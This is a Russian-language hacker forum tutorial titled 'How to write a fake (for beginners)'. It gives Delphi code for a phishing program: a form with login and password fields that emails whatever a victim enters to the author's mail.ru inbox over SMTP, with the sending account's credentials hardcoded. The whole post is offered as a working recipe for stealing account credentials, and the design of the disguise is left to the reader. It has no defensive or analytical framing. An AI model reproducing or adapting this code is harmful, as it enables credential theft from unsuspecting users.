Как написать фейк (для новичков).

Как написать фейк (для новичков).

07.03.2010, 20:00

sanya111

Участник форума

Регистрация: 17.05.2009

Сообщений: 160

С нами: 8939778

Репутация: 222

Как написать фейк (для новичков).

Вообщем хочу показать новичкам как быстро и легко написать фейк.

И так, начнём!

1) Кидаем на форму компонент IdSMTP, IdMessage и IdAntiFreeze
2) Кидаем на форму 2 компонента Edit и компонент Button
3) Прописываем код кнопке button приведенный ниже:

Цитата:

procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru'; // Хост
IdSMTP1.Port:=25; // Порт
IdSMTP1.Username:='fakeforyou'; // Логин рабочего мыла
IdSMTP1.Password:='ghbdtn'; // Пароль рабочего мыла
IdMessage1.Body.Text:='Login: '+Edit1.Text+' Pass: ' + (Edit2.Text); // Текст который будет приходить на мыло
IdMessage1.From.Text:='fakeforyou@mail.ru'; // Мыло с которого отправляем сообщение
IdMessage1.Recipients.EMailAddresses:='fakeforyou1 @mail.ru'; // Мыло на которое отправляем сообщение
IdMessage1.Subject:='Fake'; // Тема сообщения
IdSMTP1.Connect(); // коннектимся
if IdSMTP1.Connected=true then // Если подключились то
IdSMTP1.Send(IdMessage1); // Отправляем сообщение
IdSMTP1.Disconnect // Отключаемся
end;

end.

Вот впринцыпе и всё что нужно, а вот дизайн вы уже думайте сами!
Вот набросал кое что ссылка (прошу не критиковать, дизайн писался на скорую руку)

𝕏 Twitter Reddit Telegram Копировать ссылку